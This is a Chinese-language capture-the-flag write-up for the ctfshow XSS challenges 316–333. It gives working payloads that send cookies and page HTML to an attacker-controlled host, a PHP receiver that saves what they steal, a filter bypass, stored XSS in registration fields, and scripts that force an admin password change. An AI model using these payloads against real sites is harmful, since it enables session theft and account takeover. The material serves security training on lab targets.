Skip to main content

ctfshow-xss

xss平台: XSS平台-免费XSS平台 (xsshs.cn) XSS平台 - (支持http/https)XSS Platform

316

xss平台直接的payload贴进去就行

也可以用vps来拿:

开启vps的http服务(我用的是kali):

service apache2 start
# 关闭用stop
service apache2 stop

然后写个php来将flag存在本地里,要注意的是要给tmp目录可写权限,不然是写不进去的

<?php

$content = $_GET[1];
if(isset($content)){
file_put_contents('tmp/flag.txt',$content);
}else{
echo 'no date input';
}

然后传payload就行:

<script>document.location.href='http://xxx/a.php?1='+document.cookie</script>

317-319

<body onload="window.location.href='http://xxx/a.php?1='+document.cookie"></body>

320-326

过滤空格和xss,可以用/绕过

<body/onload="window.location.href='http://yours-ip/a.php?1='+document.cookie"></body>

327

还是上面的payload,收件人要填admin来让机器人点击

328

登录注册,还有个页面提示只有管理员可以查看各个用户的用户名和密码 那么可以直接拿管理员的cookie,然后修改cookie伪造为管理员登录进行查看

在注册页面的密码处插入xss代码,等管理员点击用户管理页面就能触发存储xss ps:这里body用不了了--改回script就可以

<script>document.location.href='http://yours-ip/a.php?1='+document.cookie</script>

329

cookie用不了,不过因为可以执行js,可以爬整个html源码下来

var img = new Image();
img.src = 'http://yours-ip/a.php?1='+document.getElementsByTagName('html')[0].innerHTML;
document.body.append(img);
<script src="http://yours-ip/a.js"></script>

或者省略点根据html定位只取用户名和密码,也可以遍历定位ctfshow{xxx}都行

document.querySelector('#top > div.layui-container').textContent;

330

要注意的是这里的插入点是注册的用户名 可以让管理员修改它的密码

<script>window.location.href='http://127.0.0.1/api/change.php?p=123';</script>

也可以延续上题的做法继续爬源码 (就会发现表单里的用***加密了 flag出现在admin用户名旁)

331

可以在url/js/select.js找到post的js代码,修改一下,如下:

<script>$.ajax({url:'api/change.php',type:'post',data:{p:'123'}});</script>

将管理员密码修改登录即可

332

让admin给自己转钱: 再去购买flag

333

自己给自己转钱,bp跑一下就好